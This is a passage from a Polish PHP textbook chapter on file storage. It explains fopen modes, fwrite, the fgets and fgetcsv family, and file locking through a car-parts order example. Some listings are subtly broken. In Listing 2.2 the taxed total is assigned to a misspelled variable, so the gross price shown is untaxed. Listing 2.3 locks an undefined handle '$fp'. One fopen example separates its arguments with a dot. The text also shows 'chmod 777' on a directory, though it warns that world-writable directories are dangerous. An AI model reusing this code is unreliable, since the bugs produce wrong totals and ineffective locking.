Można także podać bezwzględną ścieżkę dostępu do pliku. Jest to ścieżka określana względem
głównego katalogu systemu plików (w systemie Unix jest to /, a w systemie Windows zazwyczaj
jest to C:\). W przypadku serwera działającego w systemie Unix ścieżka ta mogłaby mieć nastę-
pującą postać: /dane/zamowienia. Jeżeli ścieżka nie zostanie podana, PHP będzie szukał pliku
i ewentualnie utworzy go w tym samym katalogu, w którym znajduje się skrypt. Może się to różnić
w zależności od faktu, czy PHP jest uruchamiany poprzez jakiś skrypt CGI, i zależy od konfiguracji
serwera.

W środowisku Uniksa stosuje się ukośniki (/), natomiast w środowisku Windows można używać
lewych (\) lub prawych ukośników (/), które muszą jednak zostać oznaczone jako znaki specjalne,
aby funkcja fopen właściwie je zinterpretowała. W tym celu należy po prostu dodać przed każdym
symbolem jeszcze jeden lewy ukośnik, jak pokazano w poniższym przykładzie:
$wp = fopen("$document_root\\..\\zamowienia\\zamowienia.txt", 'w');

Niewiele osób stosuje w ścieżkach dostępu w kodzie PHP znaki odwrotnych ukośników, ponieważ
oznaczałoby to, że kod ten będzie działał tylko w systemach Windows. Stosowanie zwykłych
ukośników pozwala na przenoszenie kodu między maszynami pracującymi w systemach Unix
i Windows bez konieczności wprowadzania w nim zmian.

Drugim parametrem funkcji fopen() jest tryb otwarcia pliku, określający jego przeznaczenie. Powi-
nien on zostać podany jako łańcuch znaków. W powyższym przykładzie funkcji fopen() zostaje
przekazana wartość w, co oznacza otwarcie pliku do zapisu. Podsumowanie trybów otwarcia pliku
przedstawiono w tabeli 2.1.

Tryb otwarcia pliku zależy od sposobu, w jaki system zostanie użyty. W przykładzie został zasto-
sowany tryb 'w', co oznacza, że w pliku będzie mogło być zapamiętane tylko jedno zamówienie.
Każde nowo przyjęte zamówienie nadpisze poprzednie. Nie jest to rozwiązanie zbyt rozsądne,
więc lepiej użyć trybu dodawania (oraz, zgodnie z zaleceniem, trybu binarnego):
$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'ab');

Istnieje również trzeci, opcjonalny parametr funkcji fopen(). Stosuje się go w celu szukania pliku
w lokalizacjach podanych w opcji include_path (ustawianej w konfiguracji PHP — szczegóły
w dodatku A). Aby użyć tej opcji, należy nadać temu parametrowi wartość true. Nie trzeba wtedy
podawać ścieżki dostępu do pliku.
$wp = fopen('zamowienia.txt', 'ab', true);
Rozdział 2.  Przechowywanie i wyszukiwanie danych 75

Tabela 2.1. Podsumowanie trybów otwarcia pliku w funkcji fopen

Tryb Nazwa trybu Znaczenie


r Odczyt Otwarcie pliku do odczytu, poczynając od początku pliku
r+ Odczyt Otwarcie pliku do odczytu i zapisu, poczynając od początku pliku
w Zapis Otwarcie pliku do zapisu, poczynając od początku pliku. Jeżeli plik istnieje, bieżąca
zawartość zostanie skasowana. W przeciwnym wypadku nastąpi próba jego utworzenia
w+ Zapis Otwarcie pliku do zapisu i odczytu, poczynając od początku pliku. Jeżeli plik istnieje,
bieżąca zawartość zostanie skasowana, jeżeli zaś nie, nastąpi próba jego utworzenia
x Ostrożny zapis Otwarcie pliku do zapisu rozpoczynającego się na początku pliku. Jeśli plik już istnieje,
nie zostanie otwarty, funkcja fopen() zwróci wartość false, a PHP wygeneruje ostrzeżenie
x+ Ostrożny zapis Otwarcie pliku do zapisu i odczytu rozpoczynającego się na początku pliku. Jeśli plik już
istnieje, nie zostanie otwarty, funkcja fopen() zwróci wartość false, a PHP wygeneruje
ostrzeżenie
a Dodawanie Otwarcie pliku do dodawania zawartości, począwszy od końca istniejącej zawartości,
jeśli taka istnieje. Jeżeli plik nie istnieje, nastąpi próba jego utworzenia
a+ Dodawanie Otwarcie pliku do dodawania (zapisu) zawartości i odczytu, począwszy od końca
istniejącej zawartości. Jeżeli plik nie istnieje, nastąpi próba jego utworzenia
b Tryb binarny Stosowany w połączeniu z jednym z powyższych typów w wypadku korzystania
z systemu rozróżniającego pliki tekstowe i binarne. Windows go rozróżnia, Unix — nie.
Programiści PHP zalecają, by zawsze używać tej opcji w celu zapewnienia sobie
maksymalnej przenośności. Jest to tryb domyślny
t Tryb tekstowy Stosowany w połączeniu z jednym z powyższych trybów. Tryb ten jest dostępny
jedynie w systemie Windows. Nie jest on zalecany, chyba że przed przeniesieniem
kodu zostanie zamieniony na tryb b

Czwarty parametr również jest opcjonalny. Funkcja fopen() dopuszcza, by nazwy plików były
poprzedzone nazwą protokołu (na przykład http://), a same pliki były otwierane ze zdalnych
lokalizacji. Niektóre protokoły pozwalają ponadto na przekazywanie dodatkowych parametrów.
Taki sposób użycia funkcji fopen() zostanie opisany bardziej szczegółowo w dalszej części tego
rozdziału.

Jeżeli funkcji fopen() uda się otwarcie pliku, zwraca ona zasób będący w rzeczywistości uchwy-
tem albo wskaźnikiem pliku i przechowuje go w zmiennej, w powyższym przykładzie: $wp.
Zmienna ta jest stosowana przy kolejnych próbach dostępu do pliku, to znaczy przy odczytywa-
niu lub zapisywaniu danych.

Otwieranie pliku przez protokół FTP lub HTTP


Funkcja fopen() służy do otwierania do odczytu lub zapisu plików lokalnych. Za jej pomocą można
także otwierać pliki poprzez FTP, HTTP i inne protokoły. Własność tę można zablokować, wyłą-
czając w pliku php.ini dyrektywę allow_url_fopen. Jeżeli więc otwieranie plików zdalnych przy
użyciu fopen() sprawia kłopoty, najpierw należy zajrzeć do pliku php.ini.

Jeżeli wprowadzona nazwa pliku rozpoczyna się od ftp://, otwarte zostanie pasywne połączenie
FTP z serwerem, którego adres został wprowadzony, a funkcja zwróci wartość wskaźnika na
początek pliku.
76 Część I  Stosowanie PHP

Jeżeli wprowadzona nazwa pliku rozpoczyna się od http://, otwarte zostanie pasywne połączenie
HTTP z serwerem, którego adres został wprowadzony, a funkcja zwróci wartość wskaźnika na
odpowiedź.

Należy pamiętać, że nazwy domen w URL-ach nie są różnicowane ze względu na wielkość liter,
w przeciwieństwie do ścieżek i nazw plików.

Problemy z otwieraniem plików


Popularnym błędem jest próba otwarcia pliku, co do którego nie posiada się praw odczytu lub
zapisu. (Błąd taki pojawia się zazwyczaj w systemach operacyjnych z rodziny Unix, od czasu do
czasu można jednak spotkać się z nim w systemie Windows). W takim przypadku PHP wyświetli
ostrzeżenie podobne do przedstawionego na rysunku 2.2.

Rysunek 2.2.
Podczas nieudanej
próby otwarcia pliku
PHP wyświetla
specyficzne
ostrzeżenie

Po popełnieniu takiego błędu należy upewnić się, czy skrypt, który jest stosowany, posiada prawo
dostępu do danego pliku. Zależnie od konfiguracji serwera, skrypt może być uruchomiony z pra-
wami użytkownika serwera WWW lub z prawami właściciela swojego katalogu.

W większości systemów skrypt zostanie uruchomiony jako użytkownik serwera WWW. Jeżeli
na przykład skrypt znajduje się w systemie uniksowym w katalogu ~/public_html/rozdział2,
należy utworzyć ogólnodostępny katalog, w którym przechowywane będą zamówienia. Aby to
uczynić, można wpisać:
mkdir sciezka/do/zamowienia
chgrp apache sciezka/do/zamowienia
chmod 777 sciezka/do/zamowienia/

Można by także zmienić właściciela pliku na użytkownika, którego używa serwer WWW. Są rów-
nież osoby, które w takim przypadku w celu ułatwienia sobie zadania zmieniłyby prawa dostępu do
pliku, tak by każdy mógł w nim zapisywać dane. Należy jednak pamiętać, że katalogi i pliki z takim
ogólnym prawem zapisu są bardzo niebezpieczne. W szczególności nie powinno się używać katalogów
Rozdział 2.  Przechowywanie i wyszukiwanie danych 77

dostępnych bezpośrednio z poziomu WWW, które posiadają możliwość zapisu. Z tego powodu
przykładowy katalog zamowienia został umieszczony poza drzewem katalogów serwera WWW.
Szczegółowe informacje na temat bezpieczeństwa są przedstawione w rozdziale 15.

Złe ustawienia dostępu do plików to najpopularniejszy, lecz nie jedyny błąd popełniany przy
otwieraniu plików. Jeżeli plik nie może zostać otwarty, trzeba koniecznie o tym wiedzieć, aby nie
próbować odczytywać ani zapisywać w nim danych.

Jeżeli wywołanie funkcji fopen() nie powiedzie się, zwróci ona wartość false. Dodatkowo
PHP wygeneruje także ostrzeżenie (komunikat na poziomie E_WARNING). Można wtedy zastąpić
oryginalny komunikat o błędzie PHP innym, bardziej przyjaznym dla użytkownika:
@$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'ab');

if (!$wp) {
echo "<p><strong> Zamówienie Państwa nie może zostać przyjęte w tej chwili.
Proszę spróbować później.</strong></p></body></html>";
exit;
}

Symbol @ umieszczony przed wywołaniem funkcji fopen() nakazuje PHP wytłumienie wszystkich
błędów wynikłych z tego wywołania. Zazwyczaj warto wiedzieć, kiedy występuje błąd. Kwestię
tę rozważymy później.

Wiersz ten można również zapisać w następujący sposób:


$wp = @fopen("$document_root/../ zamowienia/zamowienia.txt". 'a');

jednak w takiej sytuacji nie widać wyraźnie, że stosowane jest ukrywanie błędów, co może utrudnić
debugowanie kodu.

Ogólnie rzecz biorąc, stosowanie operatora tłumienia błędów nie jest uważane za przejaw
dobrego stylu programowania, więc należy go potraktować jedynie jako chwilowe ułatwienie.
Opisana metoda stanowi najprostszy sposób radzenia sobie z błędami. Bardziej elegancki
sposób obsługi błędów zostanie przedstawiony w rozdziale 7.

Instrukcja if sprawdza wartość zmiennej $wp, aby ustalić, czy wywołanie funkcji fopen() zwróciło
prawidłowy wskaźnik. Jeżeli nie, wyświetla komunikat o błędzie i kończy działanie skryptu.

Wynik działania powyższego fragmentu skryptu został przedstawiony na rysunku 2.3.

Zapisywanie danych w pliku


Zapisywanie danych w pliku w PHP jest stosunkowo proste. Stosuje się do tego funkcję fwrite()
(zapis do pliku) lub fputs() (umieszczenie łańcucha znaków w pliku). Funkcja fputs() jest inną
nazwą funkcji fwrite(). Funkcję fwrite() wywołuje się w następujący sposób:
fwrite($wp, $ciagwyjsciowy);

Funkcja ta nakazuje PHP zapisanie łańcucha przechowywanego w zmiennej $ciagwyjsciowy do


pliku wskazywanego przez zmienną $wp.
78 Część I  Stosowanie PHP

Rysunek 2.3.
Stosowanie własnych
komunikatów
o błędach zamiast tych
wbudowanych w PHP
jest bardziej przyjazne
dla użytkownika

Alternatywą dla funkcji fwrite() jest funkcja file_put_contents(). Jej prototyp przedstawia się
następująco:
int file_put_contents ( string nazwa_pliku,
mixed dane
[, int znaczniki
[, resource kontekst]])

Funkcja file_put_contents() zapisuje łańcuch znaków zawarty w danych do pliku o nazwie


nazwa_pliku bez konieczności wywoływania funkcji fopen() (a także fclose()). Funkcją wobec niej
komplementarną jest file_get_contents(), o której niedługo powiemy. Opcjonalnych parametrów
znaczniki i kontekst najczęściej używa się w trakcie zapisywania do plików zdalnych przy użyciu
na przykład HTTP i FTP. (Funkcje te zostaną omówione w rozdziale 18.).

Parametry funkcji fwrite()


Funkcja fwrite() pobiera trzy parametry, lecz ostatni z nich jest opcjonalny. Oto prototyp
funkcji fwrite():
int fwrite(resource wskaznik_pliku, string ciag [, int dlugosc]);

Trzeci parametr, dlugosc, zawiera maksymalną możliwą do zapisania liczbę bajtów. Jeżeli para-
metr ten został umieszczony w wywołaniu funkcji, fwrite() będzie zapisywać ciag w pliku
wskazanym przez wskaznik pliku, dopóki nie osiągnie końca ciagu lub zapisze dlugosc bajtów,
zależnie od tego, co wystąpi wcześniej.

Długość łańcucha znaków można odczytać, używając funkcji PHP o nazwie strlen() w następujący
sposób:
fwrite($wp, $ciagwyjsciowy, strlen($ciagwyjsciowy));

Trzeciego parametru używa się w trakcie zapisywania w trybie binarnym, ponieważ można
dzięki niemu uniknąć pewnych komplikacji związanych ze zgodnością między platformami.
Rozdział 2.  Przechowywanie i wyszukiwanie danych 79

Formaty plików
Tworząc plik danych podobny do przykładowego, można określić dowolny format przechowy-
wania danych. Jeżeli jednak dane te będą wykorzystywane później przez jakąś aplikację, należy
zastosować się do zasad określonych przez tę aplikację.

Poniżej przedstawiono łańcuch znaków opisujący jeden rekord w pliku danych:


$ciagwyjsciowy = $data."\t".$iloscopon." opon \t".$iloscoleju." butelek oleju\t"
.$iloscswiec." swiec zaplonowych\t".$wartosc
."PLN\t".$adres."\n";

W tym prostym przykładzie każdy rekord jest zapisany w osobnym wierszu pliku. Metodę tę
zastosowano, ponieważ występuje w niej prosty separator rekordów: znak nowego wiersza. Znaki
te przedstawia się za pomocą sekwencji "\n", gdyż są niewidzialne.

W całej książce pola danych będą zapisywane za każdym razem w jednakowym porządku i od-
dzielane znakami tabulacji. Ponieważ znak ten również jest niewidzialny, przedstawia się go za
pomocą sekwencji "\t". Można wybrać dowolny, czytelny znak podziału.

Znak podziału powinien być znakiem, który nie występuje pośród wprowadzanych danych, lub
też dane powinny zostać przekształcone w celu usunięcia występujących w nich znaków podziału.
Analiza pełnego kodu przykładu pokaże, że problematyczne znaki są usuwane przy wykorzysta-
niu wyrażenia regularnego (funkcji preg_replace()). Wyrażenia regularne zostały wyczerpująco
opisane w rozdziale 4.

Stosowanie specjalnych znaków separujących pola pozwala na łatwiejsze rozdzielenie zmiennych


przy odczytywaniu danych. Kwestia ta zostanie rozważona w rozdziale 3. oraz w rozdziale 4.
Tymczasem każde zamówienie będzie traktowane jako jeden łańcuch znaków.

Po przyjęciu kilku zamówień zawartość pliku powinna wyglądać podobnie do przedstawionej


na listingu 2.1.

Listing 2.1. zamowienia.txt — przykład pliku zamówień


19:46, 4th December 2016 1 opon 2 butelek oleju 3 swiec zapłonowych 132.00PLN ul. Krótka 22 Kraków
19:49, 4th December 2016 4 opon 1 butelek oleju 6 swiec zapłonowych 434.00PLN ul. Główna 33, Gliwice
19:50, 4th December 2016 2 opon 2 butelek oleju 4 swiec zapłonowych 236.00PLN ul. Akacjowa 127,
Warszawa

Zamykanie pliku
Po zakończeniu korzystania z pliku należy go zamknąć. Stosuje się w tym celu funkcję fclose()
w następujący sposób:
fclose($wp);

Funkcja ta zwraca wartość true, jeżeli zamykanie powiodło się, lub false, w przeciwnym wypadku.
Działanie to ma znacznie większe szanse powodzenia niż otwieranie pliku — i w tym przypadku
nie zdecydowano się na jego sprawdzenie.

Pełen listing ostatecznej wersji skryptu przetworzzamowienie.php przedstawiono na listingu 2.2.


80 Część I  Stosowanie PHP

Listing 2.2. przetworzzamowienie.php — Ostateczna wersja skryptu przetwarzającego zamówienia


<?php
// utworzenie krótkich nazw zmiennych
$iloscopon = (int)$_POST['iloscopon'];
$iloscoleju = (int)$_POST['iloscoleju'];
$iloscswiec = (int)$_POST['iloscswiec'];
$adres = preg_replace('/\t|\R/',' ',$_POST['adres']);
$document_root = $_SERVER['DOCUMENT_ROOT'];
$data=date('H:i, jS F Y');
?>
<!DOCTYPE html>
<html>
<head>
<title>Części samochodowe Janka — wyniki zamówienia</title>
</head>
<body>
<h1>Części samochodowe Janka</h1>
<h2>Wyniki zamówienia</h2>
<?php

echo "<p>Zamówienie przyjęte o ".$data."</p>";

echo "<p>Zamówienie Państwa wygląda następująco: </p>";

$ilosc = 0;
$wartosc=0.00;

define('CENAOPON', 100);
define('CENAOLEJU', 10);
define('CENASWIEC', 4);

$ilosc = $iloscopon + $iloscoleju + $iloscswiec;


echo "<p>Zamówionych części: ".$ilosc."<br />";

if($ilosc == 0) {
echo "Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />";

} else {

if ($iloscopon > 0) {
echo htmlspecialchars($iloscopon).' opon<br />';
}

if ($iloscoleju > 0) {
echo htmlspecialchars($iloscoleju).' butelek oleju<br />';
}

if ($iloscswiec > 0) {
echo htmlspecialchars($iloscswiec).' świec zapłonowych<br />';
}
}

$wartosc = $iloscopon * CENAOPON


+ $iloscoleju * CENAOLEJU
+ $iloscswiec * CENASWIEC;

echo "Wartość netto zamówienia: ". number_format($wartosc, 2, '.', ' ') ."zł<br />";

$stawkapodatku = 0.10; // stawka podatku wynosi 10%


$wartos = $wartosc * (1 + $stawkapodatku);
echo "Wartość brutto zamówienia wynosi ".number_format($wartosc,2,'.', ' ')."</p>";
Rozdział 2.  Przechowywanie i wyszukiwanie danych 81

echo "<p>Adres wysyłki to ".htmlspecialchars($adres). "</p>";

$ciagwyjsciowy = $data."\t".$iloscopon." opon \t".$iloscoleju." butelek oleju\t"


.$iloscswiec." swiec zapłonowych\t".$wartosc
."PLN\t". $adres."\n";

// otwarcie pliku w celu dopisywania


@$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'ab');

if (!$wp) {
echo "<p><strong> Państwa zamówienie nie może zostać przyjęte w tej chwili.
Proszę spróbować później.</strong></p></body></html>";
exit;
}

flock($wp, LOCK_EX);

fwrite($wp, $ciagwyjsciowy, strlen($ciagwyjsciowy));


flock($wp, LOCK_UN);
fclose($wp);

echo "<p>Zamówienie zapisane.</p>";


?>
</body>
</html>

Odczyt z pliku
Klienci Janka mogą już składać swoje zamówienia przez sieć WWW, lecz jeżeli pracownicy firmy
chcą je obejrzeć, muszą otworzyć plik własnoręcznie.

Można stworzyć interfejs WWW pozwalający pracownikom na łatwe odczytywanie plików. Kod
tego interfejsu został przedstawiony na listingu 2.3.

Listing 2.3. zobaczzamowienia.php — interfejs pozwalający pracownikom Janka na oglądanie zawartości plików
<?php
// utworzenie krótkich nazw zmiennych
$document_root = $_SERVER['DOCUMENT_ROOT'];
?>
<!DOCTYPE html>
<html>
<head>
<title>Części samochodowe Janka — wyniki przetwarzania zamówienia</title>
</head>
<body>
<h1>Części samochodowe Janka</h1>
<h2>Zamówienia klientów</h2>
<?php

@$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'rb');


flock($fp, LOCK_SH); // zablokowanie pliku do odczytu

if (!$wp) {
echo "<p><strong>Brak zamówień.<br />
Proszę spróbować później.</strong></p>";
exit;
}
82 Część I  Stosowanie PHP

while (!feof($wp)) {
$zamowienie = fgets($wp);
echo htmlspecialchars($zamowienie)."<br />";
}

flock($fp, LOCK_UN); // zwolnienie blokady pliku


fclose($wp);

?>
</body>
</html>

Skrypt ten działa na zasadzie opisanej powyżej — otwarcie pliku, odczyt z pliku, zamknięcie pliku.
Wynik uruchomienia powyższego skryptu, wykorzystującego plik danych z listingu 2.1, jest przed-
stawiony na rysunku 2.4.

Rysunek 2.4.
Skrypt zobacz
zamowienia.php
wyświetla w oknie
przeglądarki
wszystkie zamówienia
znajdujące się
w pliku zamowienia.txt

Należy teraz przyjrzeć się dokładnie funkcjom wykorzystanym w powyższym skrypcie.

Otwieranie pliku w celu odczytu — fopen()


Do otwarcia pliku ponownie została wykorzystana funkcja fopen(). W tym przypadku plik został
otwarty jedynie do odczytu, tak więc zastosowano tryb 'rb':
$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'rb');

Wiedzieć, kiedy przestać — feof()


W powyższym przykładzie pętla while została zastosowana w celu odczytu danych z pliku aż
do jego końca. Pętla while sprawdza koniec pliku przy użyciu funkcji feof():
while (!feof($wp))

Funkcja feof() używa wskaźnika pliku jako swojego jedynego parametru. Zwraca ona wartość true,
jeżeli wskaźnik pliku znajduje się na jego końcu. Chociaż nazwa funkcji może wydawać się dziwna,
łatwo ją zapamiętać, wiedząc, że feof znaczy w skrócie File End Of File (plik koniec pliku).

W tym przypadku (i zwyczajowo przy odczytywaniu pliku) plik jest odczytywany aż do


osiągnięcia EOF.
Rozdział 2.  Przechowywanie i wyszukiwanie danych 83

Odczytywanie pliku wiersz po wierszu — fgets(), fgetss() i fgetcsv()


W powyższym przykładzie do odczytania danych z pliku użyta została funkcja fgets():
$zamowienie = fgets($wp);

Funkcja ta jest stosowana do odczytywania pliku wiersz po wierszu. W powyższym przypadku


będzie odczytywała dane, dopóki nie trafi na znak nowego wiersza (\n) lub EOF.

Istnieje wiele różnych funkcji stosowanych do odczytywania danych z pliku. Na przykład funkcja
fgets() jest przydatna przy obróbce plików zawierających zwykły tekst, który odczytujemy
fragmentami.

Interesującą odmianą fgets() jest funkcja fgetss(), która posiada następujący prototyp:
string fgetss(int wskaznik_pliku[, int dlugosc[, string dozwolone_znaczniki]]);

Funkcja ta podobna jest do fgets(), z wyjątkiem tego, że usuwa z czytanego łańcucha wszystkie
znaczniki PHP i HTML, poza wyszczególnionymi w parametrze dozwolone_znaczniki. Stosuje
się ją w celach bezpieczeństwa przy odczytywaniu plików napisanych przez innych programistów
lub zawierających informacje wprowadzone przez użytkowników. Niekontrolowany obcy kod
HTML może zniszczyć dokładnie zaplanowany proces formatowania strony. Niekontrolowany
obcy kod PHP lub JavaScript może dać złośliwemu użytkownikowi sposobność do spowodowa-
nia zagrożenia bezpieczeństwa serwera.

Inną odmianą funkcji fgets() jest funkcja fgetcsv(). Posiada ona następujący prototyp:
array fgetcsv(resource wskaznik_pliku, int dlugosc, string [znak_podziału
[, string załącznik
[, string escape]]]);

Funkcja ta służy do rozdzielania wierszy pliku w celu zrekonstruowania zmiennych, kiedy wcze-
śniej zastosowany został znak podziału (taki jak zaproponowany powyżej) lub przecinek (używany
w większości arkuszy kalkulacyjnych i innych aplikacji). Oznacza to, że przy jej stosowaniu plik
jest odczytywany nie wiersz po wierszu, lecz od znaku podziału do znaku podziału. Wywołanie
tej funkcji następuje podobnie jak w przypadku fgets(), lecz przekazuje się jej również znak
podziału użyty do odseparowania pól. Na przykład:
$zamowienie = fgetcsv($wp, 0, "\t");

Powyższe polecenie odczyta wiersz z pliku i podzieli ją tam, gdzie natrafi na znak tabulacji (\t).
Wyniki zwracane są w postaci tablicy (w powyższym przykładowym kodzie: $zamowienie). Tablice
zostaną opisane dokładniej w rozdziale 3.

Parametr dlugosc powinien mieć większą wartość niż długość (wyrażoną w liczbie znaków) najdłuż-
szego wiersza odczytywanego pliku lub wartość 0, jeśli długość wiersza nie ma być ograniczana.

Parametr załącznik służy do wskazywania znaków, jakimi jest otoczone każde pole w wierszu.
Jeśli nie zostanie on podany, przyjęta zostanie domyślnie wartość " (cudzysłów).

Odczyt całego pliku — readfile(), fpassthru(), file() i file_get_contents()


Plik można odczytywać nie tylko wiersz po wierszu, lecz również cały w jednym przebiegu. W tym
celu należy posłużyć się jedną z czterech metod.
84 Część I  Stosowanie PHP

Pierwsza z nich polega na zastosowaniu funkcji readfile(). Można zastąpić niemal cały powyższy
skrypt jednym wierszem kodu:
readfile("$document_root/../zamowienia/zamowienia.txt");

Wywołanie funkcji readfile() otwiera plik, wyświetla zawartość w oknie przeglądarki, po czym
zamyka plik. Prototyp funkcji readfile() jest następujący:
int readfile(string nazwa_pliku, [bool użycie_opcji_include_path[, resource kontekst]]);

Opcjonalny drugi parametr określa, czy PHP powinien szukać pliku przez opcję include_path,
i działa w sposób identyczny jak fopen(). Opcjonalny parametr kontekst używany jest jedynie
wówczas, gdy pliki są otwierane zdalnie na przykład za pośrednictwem HTTP; ten sposób używania
funkcji zostanie szerzej opisany w rozdziale 18. Funkcja zwraca całkowitą liczbę bajtów odczyta-
nych z pliku.

Drugą funkcją tego typu jest fpassthru(). W celu jej zastosowania należy najpierw otworzyć plik za
pomocą fopen(), a potem przekazać wartość wskaźnika pliku funkcji fpassthru(), która wyświetli
zawartość tego pliku w okienku przeglądarki. Po zakończeniu działania funkcja zamyka plik.

Funkcji fpassthru() można użyć w następujący sposób:


$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'rb');
fpassthru($wp);

Funkcja fpassthru zwraca wartość true, jeżeli odczyt powiedzie się, w przeciwnym wypadku —
false.

Trzecią metodą odczytu całego pliku jest zastosowanie funkcji file(). Działa ona w identyczny
sposób jak readfile() z jednym wyjątkiem — zamiast wyświetlić zawartość pliku w przeglądarce,
zamienia ją na tablicę. Kwestia ta zostanie szczegółowo opisana w rozdziale 3. Tymczasem poni-
żej zostało przedstawione jej przykładowe zastosowanie:
$tablicapliku = file("$document_root/../zamowienia/zamowienia.txt");

Polecenie to wczytuje cały plik w tablicę o nazwie $tablicapliku. Każdy wiersz pliku zostanie
zachowany jako osobny element tablicy. Warto zwrócić uwagę, że we wcześniejszych wersjach PHP
funkcja file() nie była binarnie bezpieczna.

Czwartą dostępną opcją jest wykorzystanie funkcji file_get_contents(). Działa ona tak samo jak
funkcja readfile(), z tą tylko różnicą, że zwraca zawartość pliku w postaci łańcucha znaków,
a nie przesyła jej do przeglądarki.

Odczyt pojedynczego znaku — fgetc()


Inną metodą jest odczytywanie pliku znak po znaku. Można tego dokonać, stosując funkcję fgetc().
Jako jedyny parametr pobiera ona wskaźnik pliku i zwraca następny znajdujący się w pliku znak.
Można zamienić pętlę while w przykładowym skrypcie na inną, używającą funkcji fgetc()
w następujący sposób:
while (!feof($wp)) {
$znak = fgetc($wp);
if (!feof($wp))
echo ($znak=="\n" ? "<br />": $znak);
}
Rozdział 2.  Przechowywanie i wyszukiwanie danych 85

Powyższy kod odczytuje za pomocą funkcji fgetc() pojedynczy znak z pliku i zapisuje go w zmien-
nej $znak, dopóki nie zostanie osiągnięty koniec pliku. Później zastosowana zostaje mała sztuczka
zamieniająca znaki końca wiersza (\n), na złamania wierszy HTML (<br />).

Dzieje się tak jedynie w celu czystego sformatowania strony. W przypadku próby wyświetlenia
pliku ze znakami nowych wierszy między rekordami cały plik zostałby wyświetlony jako jeden
wiersz (warto sprawdzić). Przeglądarki nie generują znaków niewidocznych, dlatego trzeba je
zastępować znakami HTML oznaczającymi nowy wiersz (<br />). W celu przeprowadzenia tej
zamiany zastosowany został operator trójkowy.

Pomniejszym efektem ubocznym stosowania funkcji fgetc() zamiast fgets() jest fakt, że w prze-
ciwieństwie do funkcji fgets() zwraca ona znak EOF. Dlatego po przeczytaniu znaku należy ponow-
nie użyć feof(), aby znak ten nie został wyświetlony w przeglądarce.

Jeżeli nie istnieje wyraźny powód odczytywania pliku znak po znaku, stosowanie tej metody nie
jest polecane.

Odczytywanie zadanej długości — fread()


Ostatnią metodą odczytywania pliku jest zastosowanie funkcji fread() w celu odczytania z pliku
zadanej liczby bajtów. Funkcja ta posiada następujący prototyp:
string fread(resource wskaznik_pliku, int dlugosc);

Funkcja fread() odczytuje przekazaną jej liczbę bajtów, chyba że wcześniej napotka znak końca
pliku lub pakietu sieciowego.

Inne funkcje plikowe


Poza powyższymi istnieje jeszcze kilka innych funkcji plikowych przydatnych w różnych zasto-
sowaniach. Niektóre z nich, te najbardziej użyteczne, zostały opisane poniżej.

Sprawdzanie istnienia pliku — file_exists()


W celu sprawdzenia istnienia pliku bez otwierania go stosuje się funkcję file_exists():
if (file_exists("$DOCUMENT_ROOT/../zamowienia/zamowienia.txt")) {
echo 'Są zamówienia czekające na przyjęcie.';
} else {
echo 'Aktualnie nie ma żadnych zamówień.';
}

Określanie wielkości pliku — filesize()


W celu sprawdzenia wielkości pliku stosuje się funkcję filesize():
echo filesize("$document_root/../zamowienia/zamowienia.txt");

Funkcja ta zwraca wielkość pliku w bajtach i może zostać zastosowana w połączeniu z funkcją
fread() w celu odczytania jednorazowo całego pliku (lub jakiejś jego części). Można zastąpić cały
przykładowy skrypt następującymi wierszami kodu:
$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'rb');
echo nl2br(fread($wp, filesize("$document_root/../zamowienia/zamowienia.txt"));
fclose($wp);
86 Część I  Stosowanie PHP

Funkcja nl2br() przekształca w generowanym kodzie HTML znaki \n w znaki nowego wier-
sza (<br />).

Kasowanie pliku — unlink()


Można skasować plik zamówień po ich przyjęciu, stosując w tym celu funkcję unlink() (nie istnieje
funkcja o nazwie delete). Na przykład:
unlink("$document_root/../zamowienia/zamowienia.txt");

Powyższa funkcja zwraca wartość false, jeżeli plik nie mógł zostać usunięty. Sytuacja taka zdarza
się zazwyczaj z powodu niewystarczających praw do pliku bądź jeżeli plik nie istnieje.

Poruszanie się wewnątrz pliku — rewind(), fseek() i ftell()


Można poruszać się w obrębie pliku i poznawać pozycje wskaźnika wewnątrz tego pliku, stosując
funkcje rewind(), fseek() i ftell().
Funkcja rewind() ustawia wskaźnik pliku z powrotem na jego początku. Funkcja ftell() informuje,
jak daleko (w bajtach) został przesunięty wskaźnik. Na końcu powyższego skryptu (przed polece-
niem fclose()) można na przykład dodać następujące wiersze:
echo 'Końcowa pozycja wskaźnika pliku wynosi '.(ftell($wp));
echo '<br />';
rewind($wp);
echo 'Po przewinięciu, pozycja wynosi '.(ftell($wp));
echo '<br />';

Wynik wyświetlony w przeglądarce powinien być podobny do przedstawionego na rysunku 2.5.

Rysunek 2.5.
Kiedy zamówienia są
przeczytane, wskaźnik
pliku wskazuje na jego
koniec, offset 315
bajtów. Wywołanie
przewinięcia ustawia
go na pozycji 0
(na początku pliku)

Funkcja fseek() stosowana jest do ustawiania wskaźnika pliku w dowolnym punkcie pliku. Jej
prototyp wygląda następująco:
int fseek(resource wskaznik_pliku, int offset [, int skąd]);

Wywołanie funkcji fseek() ustawia wskaźnik pliku wp w punkcie wskazywanym przez skąd i prze-
suwa o offset bajtów, licząc od początku pliku. Opcjonalny parametr skąd posiada domyślną
wartość SEEK_SET, czyli początek pliku. Parametr ten może również mieć wartości SEEK_CUR (bieżąca
pozycja wskaźnika pliku) oraz SEEK_END (koniec pliku).
Rozdział 2.  Przechowywanie i wyszukiwanie danych 87

Funkcja rewind() jest równoznaczna z wywołaniem funkcji fseek() z zerowym offsetem. Na przy-
kład można zastosować funkcję fseek() w celu znalezienia środkowego rekordu w pliku danych
lub po to, aby przeprowadzić przeszukiwanie binarne. Zazwyczaj po osiągnięciu poziomu złożoności
wymagającego stosowania takich mechanizmów polecane jest wykorzystanie bazy danych zapro-
jektowanej z myślą o konkretnym rozwiązaniu.

Blokowanie pliku
Można wyobrazić sobie sytuację, w której dwóch klientów stara się zamówić produkt w tym
samym czasie (dzieje się tak często, zwłaszcza gdy strona jest licznie odwiedzana). Co się stanie,
gdy jeden z klientów wywoła funkcję fopen() i zacznie zapis w pliku, a drugi uczyni to samo?
Jak będzie wyglądać ostateczna zawartość pliku? Czy najpierw zostanie zapisane pierwsze zamó-
wienie, a później drugie, czy też odwrotnie? A może dojdzie do sytuacji niepożądanej, na przy-
